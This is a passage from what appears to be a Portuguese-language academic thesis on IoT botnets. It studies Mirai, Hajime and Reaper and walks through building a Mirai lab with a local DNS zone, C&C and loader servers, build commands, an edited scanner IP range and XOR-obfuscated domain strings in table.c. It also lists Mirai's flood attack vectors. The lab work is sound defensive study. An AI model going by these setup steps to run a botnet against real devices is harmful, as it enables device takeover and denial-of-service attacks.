utilizado ou se pode ser recrutado para um ataque.

e attack.go: apos a inicializacao do ataque pelo servidor C&C, é necessario que o mesmo
seja tratado. Essa parte do co6digo analisa os comandos e alvos selecionados, manipulando todo o

ambiente de ataque e conectando-se com os bots especificos a partir do coédigo api.go.

e bot.go: possui apenas duas fungoes que recebem as informagoes dos bots recrutados que

serao corretamente manuseados pelo codigo clientsList.go.

e clientList.go: controla todas as informagoes sobre os dispositivos comprometidos que

compoem a botnet.
e constants.go: apenas define a constante MiraiPrompt.
e main.go: verifica se estao disponiveis as conexoes TCP nas portas 23 e 101.

e database.go: cddigo que gera as querys para manipulacao do banco de dados MYSQL.

2.3.2.2 Bots

Os codigos presentes nessa se¢ao foram programados na linguagem C e compdem a infraes-
trutura de codigos executados pelos bots para exercerem suas func¢des dentro da botnet. Existem
treze partes na composicao desse codigo, além de seus cabegalhos [5]. Abaixo serao explicados os

componentes mais relevantes no processo de formagao e ataque da botnet:

e attack.c: apos recebimentos dos comando enviados pelo servidor C&C, configura os vetores

de ataque que serao utilizados e a realizagdo do mesmo.

e killer.c: responsavel por destruir as conexoes utilizadas para acesso do dispositivo, como

Telnet e SSH, e impedir o acesso de outros malwares.

e scanner.c: uma das partes mais importantes do cédigo, pois realiza a varredura de novos
dispositivos vulneraveis. HEsse processo pode ser bastante demorado e s6 é iniciado caso ja exista

um bot conectado a botnet.

e resolv.c: responsével por resolver os dominios utilizados durante o funcionamento da

botnet, principalmente o dominio do servidor C&C.

e main.c: moédulo principal que induz a conexdo do servidor C&C com o bot e verifica

problemas gerais na execucao dos codigos, como erro de segmentacao de memoria.

2.3.2.3 Vetores de Ataque

A botnet Mirai possui em seu codigo original onze vetores de ataque, sendo que um deles
encontra-se comentado, portanto nao estd disponivel. Os vetores de ataque estao contidos no

codigo attack.c e sdo apresentados na Fig. 2.5 [5].

Todos os ataques tém como objetivo principal enviar uma massiva quantidade de pacotes para
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typedef void (*ATTACK_FUNC) (uint®_t, struct attack_target *, uint8_t, struct attack option *);
typedef uint8_t ATTACK_VECTOR;

#define ATK_VEC_UDP @ /* Straight up UDP flood */

#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
#define ATK_VEC_DNS 2 /* DNS water torture */

#define ATK_VEC_SYN 3 /* 5YN flood with options */

#define ATK_VEC_ACK 4 /* ACK flood */

#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation de *f
#define ATK_VEC_GREIP 6 /* GRE IP flood */

#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */

//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP 1@ /* HTTP layer 7 flood */

Figura 2.5: Vetores de ataque contidos no codigo da Mirai [5]

um alvo, criando um imenso trafego de rede e tornando o mesmo indisponivel. Além disso, cada
vetor possui parametros especificos que podem ser alterados na realizacdo do ataque. A Tabela

2.2 descreve como funcionam os ataques disponiveis no codigo da Mirai [5].

Nome do Ataque | Descricao

UDP Inundacéo com pacotes UDP. Possui portas de fonte e destino ale-
atorias.

SYN Inundacédo com pacotes SYN. Possui portas de fonte e destino ale-
atorias.

ACK Inundagéao com pacotes ACK. Possui portas de fonte e destino
aleatorias.

STOMP Inundacédo com pacotes ACK, porém é necessario receber um nu-

mero de sequéncia e estabelecer uma sessao.

UDPPLAIN Inundacao com pacotes UDP, com menos opc¢oes de pardmetros
alteraveis.
VSE Inundag@o com pacotes UDP, com porta de fonte aleatéria e porta

de destino fixa (27015). Focado em servidores de streaming e gam-

ming.

DNS Inundacéo com pacotes DNS, utilizando o dominio do alvo.

GREIP Envia trafego IP encapsulado como GRE, com IP de origem
251.190.215.64.

GREETH Envia trafego Ethernet encapsulado como GRE, com IP de origem
251.190.215.64.

HTTP Inundagao com pagotes HT'TP GET.

Tabela 2.2: Especificacao dos vetores de ataque da botnet Mirai
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2.3.3 Botnet Hajime

Hajime é um malware para dispositivos IoT, divulgado pela primeira vez em outubro de 2016,
em um relatorio da RapidityNetworks [6]. Quando descoberta, essa botnet havia se propagado em
cerca de 300 mil dispositivos IoT, porém seu uso néao foi constatado em nenhum tipo de ataque
cibernético ou atividade maliciosa, pelo contrério, ela possui funcionalidades de bloquear algumas
fontes de vulnerabilidades exploradas pela botnet Mirai. Além disso, ap6s a configuracao dos
arquivos da botnet, uma mensagem é apresentada no terminal, conforme mostra a Fig. 2.6 [6].
Dessa forma, foi especulado que o propésito da botnet Hajime seria confrontar botnets maliciosas,
principalmente a botnet Mirai, para obter controle sobre dispositivos loT vulneréaveis e funcionar

como defensora dos mesmos [28].

Figura 2.6: Mensagem apresentada pela botnet Hajime |[6]

Essa botnet possui o funcionamento parecido com a botnet Mirai: a varredura de IPs vulneraveis
é realizada por dispositivos ja pertencentes a botnet e em seguida, com base em uma lista de
credenciais comuns previamente definidas, é realizado um ataque de dicionario para obter acesso
ao servigo Telnet, na porta 23 [30]. A Hajime evita o acesso em diversas redes, entre elas estdo o

Servico de Correios e o Departamento de Defesa dos Estados Unidos.

O seu grande diferencial esté na sua arquitetura descentralizada, baseada em uma comunicagao
altamente distribuida, sendo entao considerada uma botnet P2P. A Hajime utiliza o protocolo DHT
usado no BitTorrent para descobrir novos pares de comunicagao e o uTorrent Transport Protocol

(uTP) para realizar a troca de dados e informagoes [30].

2.3.4 Botnet Reaper

Cerca de um ano apos os ataques realizados pela botnet Mirai, foi descoberta uma nova botnet
denominada Reaper, que aparenta ser mais sofisticada e ter um potencial ainda maior do que a
Mirai, tanto no quesito de propagacao quanto de ataque [31]. E suposto que exista uma relagao
entre essas duas botnets, porém, por ser uma descoberta bastante recente, nao existem conclusoes

concretas acerca do assunto.

Diferentemente da Mirai, a botnet Reaper ndo explora o ataque de forca bruta no servico Telnet
com base em credenciais comuns para obter acesso aos dispositivos [32]. Essa botnet evoluiu sua
estratégia de ataque e usufrui de pelo menos nove vulnerabilidades de seguranca ja conhecidas em
alguns fabricantes de dispositivos IoT [31], criando assim vetores de ataque especificos. Alguns dos
fabricantes explorados sao: D-Link, Goahead, Netgear, Vacron NVR, Netgear, Linksys, AVIECH,
entre outros. A botnet faz a varredura de dispositivos nas portas TCP: 80, 8080, 81, 88, 8081,
82, 83, 8060, 10000, 8443, 8880, 3000, 3749, 1080, 84, 8090, 8001 and 1080, com o objetivo de
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abrir uma comunicacao com o servidor e utilizar os vetores de ataque incluido na botnet [32]. Até
outubro de 2017, estima-se que mais de 1 milhao de organizacoes ja haviam sido afetadas pelo

malware.
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Capitulo 3

Metodologia e Ferramentas Utilizadas

Esse capitulo aborda a metodologia adotada para a realizagdo do trabalho. Sao descritas
as principais caracteristicas do estudo, sendo essas a delimitagao do tema, as etapas do projeto
e os métodos e arquitetura propostos para simulagdo dos ataques. Além disso, sdo expostas as
principais ferramentas e dispositivos utilizados para realizacao das simulagoes propostas e obtencgao

dos resultados.

3.1 Delimitacao do Tema

Considerando o embasamento teérico apresentado no Capitulo 2, é notério que uma das prin-
cipais ameagas enfrentadas no contexto de seguranca em IoT diz respeito a utilizagao desses dispo-
sitivos para a construcao de imensas botnets. Atualmente, existe uma grande variedade de botnets
desenvolvidas com foco em dispositivos [oT, sendo que cada uma possui suas particularidades em

relagdo ao método de invasao dos dispositivos e aos vetores de ataque realizados por ela.

Neste trabalho serao estudadas as principais vulnerabilidades em dispositivos IoT relacionadas
ao contexto de botnets, particularmente com o uso da botnet Mirai, que se mostrou extremamente
poderosa ao orquestrar um dos maiores ataques DDoS ja registrados até hoje. Além disso, essa

botnet possui codigo open source, possibilitando uma simulagao real da mesma.

3.2 Meétodos Propostos

A metodologia proposta para a realizacao do trabalho consiste principalmente na coleta de
dados realizada por uma pesquisa bibliogréfica e na construgao de ambientes de simulacao de ataque
para obter uma visao pratica de como funciona uma botnet e um dispositivo IoT transformado em

bot, dentro de um cenéario real.

A pesquisa bibliografica proporciona um conhecimento prévio sobre o funcionamento pratico de
uma botnet, tornando mais facil o entendimento dos processos que ocorrem durante as simulagoes

e eventuais erros.
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As simulagoes de ataques realizadas tém como objetivo apresentar de uma forma pratica e mais
aprofundada o comportamento de uma botnet, de modo que, a partir dos resultados obtidos, seja

possivel explorar mecanismos de defesa contra esse tipo de ataque.

Para facilitar o entendimento do trabalho, o mesmo foi organizado e dividido em quatro etapas

principais, conforme apresentado na Fig. 3.1.

Etapa 1:

Embasamento teérico

\ 4

Etapa 2:
Escolha e configuracdo dos
cendrios de simulagdo

\ 4

Etapa 3:
Simulacdo e obtencdo dos
resultados

\ 4

Etapa 4:
Anélise dos resultados e
elaboracdo de propostas de
defesa

Figura 3.1: Etapas propostas para o trabalho

e Etapa 1: Embasamento teorico.

Essa etapa consiste em realizar uma ampla pesquisa bibliografica para identificar e estudar
referéncias relevantes para desenvolvimento do trabalho. Com essa pesquisa, é possivel constatar
as principais vulnerabilidades em dispositivos IoT e os dispositivos mais propicios a ataques por

botnet, facilitando a criacao dos ambientes de simulacao e a analise geral dos resultados obtidos.
e Etapa 2: Escolha e configuragao dos cenarios de simulagao.

Nessa etapa € previsto o estabelecimento dos ambientes de simulacao a serem estudados. Com
base no conhecimento obtido na etapa 1, serao definidos os dispositivos e ferramentas necessérios

para a realizacao das simulagoes e a arquitetura de rede utilizada.
e Etapa 3: Simulacao e obtencao dos resultados.

Essa etapa consiste na simulagao dos cenarios definidos na etapa 2 e na obtencao e apresentacao

dos resultados obtidos com as simulagoes propostas.

20



e Etapa 4: Analise e elaboracao de propostas de defesa.

Essa etapa compreende a anélise dos resultados obtidos com o objetivo principal de elaborar

propostas de mecanismos de defesa contra os ataques em estudo com base nos resultados obtidos.

3.3 Ferramentas e Dispositivos

Essa secao faz uma breve descricao das ferramentas e dos dispositivos utilizados para o desenvol-
vimento do trabalho. Os dispositivos foram escolhidos conforme as necessidades de cada cenario de
simulagao, considerando também, as limitagoes de dispositivos disponiveis para aquisicao prépria

durante o tempo de realizagao do trabalho.

3.3.1 VirtualBox

O VirtualBox é um software de virtualizacdo, disponivel para uso profissional e doméstico.
Devido a sua alta performance, é a tnica solucao open source de software de virtualizacao que
possui perfil profissional [33]. O software permite a criagdo de ambientes distintos e independentes
dentro de um mesmo host fisico, a partir da possibilidade de instalagao de um sistema operacional

dentro de outro. Esses ambientes sao chamados de maquinas virtuais (VMs).

Para a realizacao das simulagoes de ataque, foi necessaria a criacao de trés maquinas virtuais
distintas: servidor DNS, servidor de comando e controle e o loader. As méquinas virtuais foram
criadas com o auxilio da ferramenta VirtualBoxr em um host utilizando o sistema operacional
Windows. Devido a facilidade de manuseio e melhor performance, em todas as VMs foi instalado

o sistema operacional Ubuntu 16.04, de distribuicao Linuz.

3.3.2 Wireshark

O Wireshark ¢ o analisador de protocolos mais utilizado mundialmente. E geralmente empre-
gado para analise de trafego de rede a partir dos pacotes interceptados e organizados por protocolo.

Com ele é possivel observar, em nivel microscopico, toda a movimentagao da sua rede [34].

Essa ferramenta foi utilizada para obter informagoes e analisar as simulagoes de ataque de
forma mais especifica. A partir dos pacotes interceptados, tanto nos servidores da botnet quanto
nos bots, é possivel observar as tentativas de acesso aos dispositivos, o tipo de conexao que esté
sendo estabelecida, o volume de pacotes de dados enviados para realizacao dos ataques de DDoS,

dentre outros detalhes.

3.3.3 Raspberry Pi

O Raspberry Pi é um microcontrolador, desenvolvido pela Raspberry Pi Foundation e langado
em 2006, para promover o ensino de conceitos de programagao a partir de projetos praticos [35].

Ele é baseado em sistemas operacionais livres, como o Debian ou Fedora, que ficam hospedados
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e rodam a partir de um cartdo SD. Ao rodar sistemas operacionais Linux, pode funcionar como
um computador regular, que permite o desenvolvimento de aplicagoes e instalagao de softwares

adicionais.

Existe uma grande diversidade de modelos desse dispositivo, sendo que o usado para esse
trabalho foi o Raspberry Pi Zero W, que pode ser visto na Fig 3.2. Esse modelo especifico, possui
conexao Wireless e Bluetooth, além de dispor de um tamanho razoavelmente pequeno. Devido
a tais caracteristicas, esse tipo de computador é bastante utilizado para projetos que incluem

automacao residencial e o universo da IoT.

GPIO CYWA43438 WiFi Bluetooth

( EE R R R R R N RN N R R
SEeFESSeee

Slot Micro SD
Conector Camera

Mini-HDMI Porta USB

Alimentacéo USB

Processador BCM2835 1GHz

Figura 3.2: Tlustracao do Raspberry Pi Zero W 7]

Considerando o exposto, o Raspberry Pi Zero W foi utilizado para simular um dispositivo IoT

de uso geral, como exemplo: coletor de dados de sensores, emulador de video games, dentre outros.

3.3.4 Roteador D-Link

Os roteadores também estao incluidos no contexto de IoT e, dependendo de suas especificagoes
e configuragoes, sao dispositivos suscetiveis a ataques de rede. Nesse trabalho, foi utilizado o
modem e roteador D-Link Wireless G DSL-2640B, apresentado na Fig. 3.3. Ele possui a opgao
de habilitar as portas Telnet e SSH, requisito necessario para o funcionamento da simulagao de

ataque.
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T |

Figura 3.3: Modem e Roteador D-Link Wireless G DSL-2640B [8]

3.4 Arquitetura Proposta
Para o estabelecimento dos cenarios de simulacao e realizacao dos ataques, foi necessario esta-
belecer uma arquitetura geral para a rede que inclui a botnet e a rede de ataque. Essa arquitetura

pode ser observada na Fig. 3.4.

192.168.0.1

b

192.168.0.0/16

loader-serve

192.168.2.10 192.168.2.20 192.168.2.30

Figura 3.4: Arquitetura proposta para a botnet

O roteador principal, configurado na rede 192.168.0.0 com mascara 255.255.0.0, inclui todos
os componentes utilizados nas simulagoes. As VMs que compde a topologia da botnet foram
configuradas dentro do intervalo de IPs 192.168.2.0 - 192.168.2.255, sendo que cada uma das VMs

recebeu um IP estatico, para que a topologia da botnet permanecesse fixa em todos os cenérios



de simulagdo. Os bots infectados também faziam parte do mesmo intervalo de IPs. A vitima dos
ataques foi configurada no intervalo de IPs 192.168.3.0 - 192.168.3.255, para facilitar a visualizagao

dos pacotes no Wireshark.

Existe uma funcionalidade no codigo scanner.c que permite definir intervalos de IPs que sao
bloqueados do processo de scanner e dos vetores de ataque. Como era desejado que o processo de
varredura permanecesse controlado e dentro do cenario local, essa parte do cddigo foi alterada e a
maioria das possibilidades IPs existentes foram excluidos, habilitando apenas IPs no intervalo de
192.168.1.0 até 192.168.3.255. As alteragdes , podem ser vistas na Fig. 3.5.

(o1
(o1
(o1
(o1

(o1
(o1

A

191 || /| Redes com
192 && 02 <= 167) || // Redes com 1 octeto igual a 192 e 2 octeto menor ou igual que 167
192 && 02 == 169) || /| Redes com octeto igual a 192 e 2 octeto maior ou igual que 169
1/
/1

1 octeto menor ou igual a 191

1

1
192 && 02 == 168 && 03 < 1) || Redes com 1 octeto igual a 192 e 2 octeto igual a 198 e 3 octeto menor que 1

1

1

192 && 02 == 168 && 03 == 4) || Redes com octeto igual a 192 e 2 octeto igual a 198 e 3 octeto maior ou igual a 4
193) // Redes com 1 octeto maior ou igual a 193

v

Figura 3.5: IPs excluidos do processo de scanner

Vale ressaltar que todas as redes envolvidas na arquitetura do ataque foram configuradas e
utilizadas em rede local doméstica, evitando qualquer tipo de comprometimento no funcionamento

de redes ou servigos externos sem autorizagao.

3.4.1 Servidor DNS

A arquitetura proposta inclui um servidor DNS Bind configurado localmente. O BIND, de-
senvolvido pelo ISC, é um conjunto de software para o protocolo DNS amplamente utilizado,
principalmente para sistemas de padrao Unix [36]. O BIND cria uma diretério no servidor onde é
instalado, contendo arquivos de configuracao e arquivos de banco de dados do dominio. Na Fig.
3.6, sao apresentados os arquivos criados por padrao no diretério BIND, além dos arquivos criados

especificamente para esse trabalho.

root@dns-server:/etc/bind# 1s
bind.keys db.127 db.empty db.mbotnet.com db.root named.conf named.conf.local rndc.key
db.o db.255 db.local db.mbotnet.com.rev 1index.html named.conf.default-zones named.conf.options zones.rfc1918

root@dns-server:/etc/bind# |

Figura 3.6: Arquivos criados no diretério BIND

Para o trabalho em questao, foi criado localmente o dominio mbotnet.com que corresponde ao
IP 192.168.2.10, da maquina dns-server. As configuragoes de interface de rede do servidor DNS

podem ser vistas na Fig. 3.7.
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root@dns-server: fhome/dns-server

root@dns-server: fhome/dns-server# ifconfig
enpBs3 Link encap:Ethernet Endereco de HW 08:00:27:30:98:c9
inet end.: 192.168.2.10 Bcast:192.168.2.255 Masc:255.255.255.0
endereco ineté: feB0::a@@:27ff:fe30:98c9/64 Escopo:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metrica:1
pacotes RX:28 erros:0 descartados:0 excesso:0 quadro:0
Pacotes TX:62 erros:0 descartados:® excesso:0 portadora:@
colisoes:® txqueuelen:1088
RX bytes:4612 (4.6 KB) TX bytes:6208 (6.2 KB)

Link encap:Loopback Local

inet end.: 127.8.8.1 Masc:255.0.0.0

endereco inet6: ::1/128 Escopo:Maquina

UP LOOPBACK RUNNING MTU:65536 Métrica:1

pacotes RX:238 erros:0® descartados:® excesso:0 quadro:0
Pacotes TX:238 erros:® descartados:® excesso:® portadora:@
colisdes:0 txqueuelen:1000

RX bytes:18463 (18.4 KB) TX bytes:18463 (18.4 KB)

Figura 3.7: Configuragao da interface de rede da maquina dns-server

Além disso, foram criados também os subdominios cnc.mbotnet.com correspondente ao IP
192.168.2.20 e loader.mbotnet.com correspondente ao IP 192.168.2.30. As configuragoes do servidor
DNS, referentes aos arquivos named.conf.local e db.mbotnet.com, podem ser vistas nas Fig. 3.8 e
Fig. 3.9.

BB = R named.conf.local

// Do any local configuration here

1

// Consider adding the 1918 zones here, if they are not used in your
J// organization
//include "/fetc/bind/zones.rfc1918";

zone "mbotnet.com" {
type master;
file "/etc/bind/db.mbotnet.com";
allow-query{any;};

b

zone "2.168.192.1in-addr.arpa" {
type master;
file "/etc/bind/db.mbotnet.com.rev";
allow-query{any;};

b

Figura 3.8: Arquivo de configuragdo named.conf.local
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BB = R db.mbotnet.com

E BIND data file for local loopback interface

SORIGIN mbotnet.com.
STTL 604800

@ IN SOA nsl.mbotnet.com. root.mbotnet.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry

2419200 ; Expire

604800 ) ; Negative Cache TTL
@ IN NS nsl.mbotnet.com.
@ IN A 192.168.2.10
nsl IN A 192.168.2.10
host IN A 192.168.2.100
cnc IN A 192.168.2.20
loader 1IN A 192.168.2.30

Figura 3.9: Arquivo de banco db.mbotnet.com

A escolha de um servidor DNS local se deu devido ao fato de que toda a comunicagdo entre
os componentes da botnet é fortemente baseada em DNS. Além disso, era desejado que toda a
comunicacao acontecesse internamente. Dessa forma, a maquina dns-server foi definida como

nameserver em todos os servidores da arquitetura proposta.

3.4.2 Servidor de Comando e Controle

Assim como dito na sec¢éo 3.3.1, o servidor de comando e controle foi instalado em uma maquina
virtual rodando o sistema operacional Ubuntu. O IP e dominio atribuidos para essa méquina
foram, respectivamente, 192.168.2.20 e cnc.mbotnet.com. Vale lembrar que esse dominio sé existe
internamente, sendo resolvido pelo servidor BIND descrito na secdo 3.4.1. As configuracoes de

interface de rede do servidor C&C podem ser vistas na Fig. 3.10.

root@cnc-server: fhome/cnc-server

root@cnc-server: fhome/cnc-server# ifconfig
enpOs3 Link encap:Ethernet Endereco de HW ©8:00:27:51:d5:ad
inet end.: 192.168.2.20 Bcast:192.168.2.255 Masc:255.255.255.0
endereco inet6: feB80::a00:27ff:fe51:d5ad/64 Escopo:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metrica:1l
pacotes RX:308 erros:0 descartados:0 excesso:® quadro:@
Pacotes TX:118 erros:0 descartados:0 excesso:0 portadora:®
colisdes:® txqueuelen:1000
RX bytes:100916 (100.9 KB) TX bytes:18164 (18.1 KB)

Link encap:Loopback Local

inet end.: 127.8.0.1 Masc:255.0.0.0

endereco inet6: ::1/128 Escopo:Maguina

UP LOOPBACK RUNNING MTU:65536 Métrica:1

pacotes RX:40246 erros:0 descartados:® excesso:0 quadro:0
Pacotes TX:40246 erros:0 descartados:® excesso:0 portadora:0
colisdes:® txqueuelen:1888

RX bytes:2978352 (2.9 MB) TX bytes:2978352 (2.9 MB)

Figura 3.10: Configuracao da interface de rede da maquina cnc-server
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Para realizar a configuracao do servidor, foi retirado do GitHub o codigo da botnet Mirai [5]
e carregado localmente na méquina. Os codigos usados nessa segao estdo contidos no diretdrio
“mirai”. Para rodar o shell script e produzir os executaveis do codigo, foram necessérias algumas
configuragoes especificas relacionadas aos cross compilers e ao banco de dados. Todas essas con-
figuragoes podem ser encontradas em [37], pagina do GitHub onde esta armazenado o codigo da
Mirai.

Existem dois comandos possiveis para criar os executaveis do servidor de comando e controle.

O primeiro:
./build.sh debug telnet

cria, dentro do diretério debug, binarios que imprimem na tela o estado dos processos que estao
sendo realizados, como: conexao com o servidor C&C e andamento do processo de varredura de

dispositivos. O segundo:
./build.sh release telnet

cria, dentro do diretério release, binarios bem pequenos e prontos para realizar o processo de
producao de bots.

Além disso, no servidor C&C foram configurados um servidor Apache e um servidor TFTP.
Em ambos os servidores foram armazenados os binarios, incluindo todas as arquiteturas de pro-
cessadores suportados, que o loader ird carregar nos bots, conforme sera explicado na segao 3.4.4.

O contetido contidos nos servidores é o mesmo, que poder ser observado na Fig. 3.11.

&« c o @ 192.168.2.20

Index of /

Name Last modified Size Description

. 2017-12-27 18:03 335
%] mirai.arm7 2017-12-27 17:57 69K
%] mirai.m68k 2017-12-27 17:57 58K
%] mirai.mips 2017-12-27 17:57 78K
%] mirai.mpsl 2017-12-27 17:57 78K
[?] miraippc  2017-12-27 17:57 57K
[?] mirai.shd 2017-12-27 17:57 53K
[?] mirai.spc  2017-12-27 17:57 61K
%] miraix86 2017-12-27 17:57 55K

Apache/2.4.18 (Ubuntu) Server at 192.168.2.20 Port 80

Figura 3.11: Binarios existentes no servidor Apache
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3.4.3 Loader

Assim como dito na se¢do 3.3.1, o loader foi instalado em uma maquina virtual rodando o
sistema operacional Ubuntu. O IP e dominio atribuidos para essa méaquina foram, respectivamente,
192.168.2.30 e loader.mbotnet.com. Vale lembrar que esse dominio s6 existe internamente, sendo
resolvido pelo servidor BIND descrito na secdo 3.4.1. As configuragoes de interface de rede do

servidor loader podem ser vistas na Fig. 3.12.

(o Jl root@loader-server: fhome/loader-server
root@loader-server: fhome/loader-server# ifconfig
enpOs3 Link encap:Ethernet Endereco de HW 08:00:27:5f:7e:a7
inet end.: 192.168.2.30 Bcast:192.168.2.255 Masc:255.255.255.0
endereco inet6: fe80::a0@:27ff:fe5f:7ea7/64 Escopo:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metrica:1l
pacotes RX:42 erros:® descartados:® excesso:0@ quadro:@
Pacotes TX:44 erros:@ descartados:® excesso:0 portadora:@
colisdes:0 txqueuelen:1000
RX bytes:3720 (3.7 KB) TX bytes:4918 (4.9 KB)

Link encap:Loopback Local

inet end.: 127.0.8.1 Masc:255.0.0.0

endereco inet6: ::1/128 Escopo:Maquina

UP LOOPBACK RUNNING MTU:65536 Metrica:1

pacotes RX:340 erros:0 descartados:0 excesso:0 quadro:@
Pacotes TX:340 erros:0 descartados:0 excesso:0 portadora:®
colisdes:® txqueuelen:1000

RX bytes:25376 (25.3 KB) TX bytes:25376 (25.3 KB)

Figura 3.12: Configuracao da interface de rede da maquina loader-server

Para realizar a configuracao do servidor, foi retirado do GitHub o codigo da botnet Mirai [5]
e carregado localmente na méquina. Os cédigos usados nessa se¢do estao contidos no diretdrio

“loader”. Para criar os executaveis do loader, é necessario rodar o simples comando:
./build.sh

Devido a fungao definida no codigo, as informacoes de IP e credenciais dos dispositivos vulne-

raveis devem ser apresentadas ao loader no seguinte modelo:
IP:Porta Usuario:Senha

Usando esses dados, o loader acessa o dispositivo e, apos o acesso, verifica a arquitetura do
processador do mesmo. Caso a arquitetura seja suportada, o loader induz o dispositivo a realizar
o carregamento do coédigo para transforma-lo em um bot. Esse carregamento pode ser feito por
trés métodos diferentes: wget, tftp ou transferéncia direta do arquivo por meio de comandos echo.
Quando o carregamento é completo, o codigo apresenta na tela a frase “listening tun0” e o loader
se desconecta do dispositivo. Apo6s todo esse processo, como o loader se desconecta do alvo, o

malware passa a ser executado unicamente na memoria do dispositivo.
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3.4.4 Bots

Assim como explicado na segao 2.3.2, o processo de varredura de dispositivos vulneraveis na
Internet é realizado pelos dispositivos comprometidos que ja fazem parte da botnet. Dessa forma,
para que exista qualquer simulacao dessa botnet, é necessario que exista um primeiro bot conectado

a ela.

Conforme os cenarios de simulagao que serao apresentados nas segoes seguintes, dois diferentes
dispositivos foram testados como bots. As caracteristicas definidas para esses dispositivos estao
expostas na Tabela 3.1. Vale ressaltar que a escolha dos dispositivos utilizados como bots estava

restrita a possibilidade de aquisi¢ao prépria durante o perido de realizagao do trabalho.

Nome Tipo de dispositivo | IP do dispositivo Credenciais
D-Link Wireless G DSL-2640B Roteador 192.168.2.1 admin:admin
Raspberry Pi Zero W Microcontrolador 192.168.2.49 aledemelo:admin

Tabela 3.1: Dispositivos utilizados como bots nas simulac¢oes

3.5 Cenarios de Simulagao

Em qualquer simulacao de ataque de rede, existe a possibilidade de comprometimento no
funcionamento da rede atacada. Por esse motivo, as simulagoes de ataque foram todas realizadas

em cendarios controlados e empregados em uma topologia de rede local.

Os cenarios de simulacao escolhidos para desenvolvimento nesse trabalho, foram definidos a
partir da exploracao e tentativa de uso do codigo da Mirai. Como qualquer botnet, a Mirai explora
alguns dispositivos com caracteristicas e vulnerabilidades especificas. Sendo assim, os cenérios
foram determinados objetivando apresentar as principais particularidades exploradas pela botnet

Mirai e investigar as situacoes nas quais a mesma nao obtém sucesso em sua execugao.
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3.5.1 Cenario com Raspberry Pi

Esse cenéario de ataque consiste na tentativa de recrutar um dispositivo IoT, representado por
um Raspberry Pi, para a botnet, transformando-o em bot. O Raspberry estid rodando o sistema
operacional Rapabian, baseado em Debian. Além disso, foi instalado no dispositivo o servico Telnet

e o aplicativo BusyBoz.

A arquitetura do cenério inclui toda a topologia da botnet proposta na segao 3.4, incluindo na
rede o Raspberry PI com o IP: 192.168.2.49. Uma ilustracao desse cenario pode ser vista na Fig.
3.13.

192.168.0.1

192.168.0.0/16

dns-server cnc-server loader-serve

BOT
Raspberry Pi

192.168.2.49

Figura 3.13: Cenario de simulagao com Raspberry Pi
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3.5.2 Cenario com Roteador D’Link

Esse cenéario de ataque consiste na tentativa de recrutar um dispositivo IoT, representado por
um D-Link Wireless DSL-2640B, para a botnet, transformando-o em bot. Na interface de geréncia

do roteador, foi habilitado o servigo Telnet.

A arquitetura do cenério inclui toda a topologia da botnet proposta na se¢ao 3.4, incluindo na
rede o D-Link Wireless DSL-2640B com o IP: 192.168.2.1. Uma ilustracao desse cenério pode ser
vista na Fig. 3.14 .

192.168.0.1

192.168.0.0/16

dns-server ‘ cnc-server \ Ioader~serve]

BOT
Roteador D-Link

192.168.2.1

Figura 3.14: Cenério de simulagao com D-Link Wireless DSL-2640B
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Capitulo 4

Resultados e Analises

Neste capitulo sao descritos os procedimentos realizados para as simulac¢oes de ataque nos dois
cenarios abordados, descritos no Capitulo 3. Sao também expostos os resultados alcancados em
cada um dos casos, suas respectivas analises e uma sintese geral comparando os dois cenérios de

simulagao. Além disso, descreve recomendagoes de defesa contra os tipos de ataque simulados.

4.1 Descricao geral dos procedimentos para simulacao dos ataques

Considerando os cenérios apresentados nas se¢oes 3.5.1 e 3.5.2, pode-se dizer que a arquitetura
de rede definida para a criacdo da botnet é bastante semelhante em ambos os cenarios, sendo a
unica diferenga o tipo de dispositivo IoT que sera simulado como primeiro bot. Dessa forma, nessa
secdo serao expostas algumas caracteristicas em comum nos procedimentos de configuragao dos

cenarios de simulacao.

O servidor loader é responséavel por realizar o acesso no dispositivo e coordenar o carregamento
do malware no mesmo, conforme explicado na secao 3.4.3. Além disso, apds esse processo, o
loader se desconecta do dispositivo. Sendo assim, depois de ser invadido, o dispositivo nao possui
nenhuma conexao direta com a estrutura da botnet. Na realidade, essa conexao passa a ser baseada
nos dominios do servidor C&C e do servidor reporter que sao incluidos no coédigo dos binérios
carregados no dispositivo. Com o uso de um executével presente no coédigo da botnet Mirai,

apresentado na Fig. 4.1, esses dominios sao ofuscados, de forma a evitar a traducdo dos mesmos.

root@cnc-server: fhome/cnc-server/Mirai-Source-Code/mirai/debug

root@cnc-server:/home/cnc-server/Mirai-Source-Code/mirai/debug# 1s
badbot cnc enc mirai.arm mirai.arm? mirai.dbg mirai.mips mirai.sh4 nogdb scanListen

root@cnc-server: /home/cnc-server/Mirai-Source-Code/miraifdebug# ./enc string cnc.mbotnet.com
XOR'ing 16 bytes of data...
A\ x41\ x4C\x41\x0C\x4F\ x40\ x4D\ x56\x4C\ x47\x56\ x0C\ x41\ x4D\ x4F\x22

Figura 4.1: Processo de ofuscacao das strings correspondentes aos dominios

O resultado desse processo é incluido no cédigo table.c para que o bot seja capaz de se comu-
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nicar corretamente com os servidores C&C e reporter, conforme observado na Fig. 4.2. Como esse
trabalho nao possui o objetivo de realizar um processo real de varredura por dispositivos vulne-
raveis, a funcao do servidor reporter se torna dispensével. Logo, os dois servidores citados foram

configurados na mesma maquina, que responde pelo dominio cnc.mbotnet.com.

uint32_t table_key = 0xdeadbeef;
struct table_value table[TABLE_MAX_KEYS];

void table_init(void)

add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x40\x4D\x56\x4C\x47\x56\x0C\x41\x4D\x4F\x22", 308); // cnc.mbotnet.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); / 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x41\x4C\x41\x0C\x4F\x40\x4D\x56\x4C\x47\x56\x0C\x41\x4D\x4F\x22", 29); // cnc.mbotnet.com
add_entry(TABLE_SCAN CB_PORT, "\x99\xC7", 2);

Figura 4.2: Dominios dos servidores incluidos no cédigo table.c

Apos estabelecidos os meios de comunicagao entre o servidor C&C e o bot, é necessario garantir
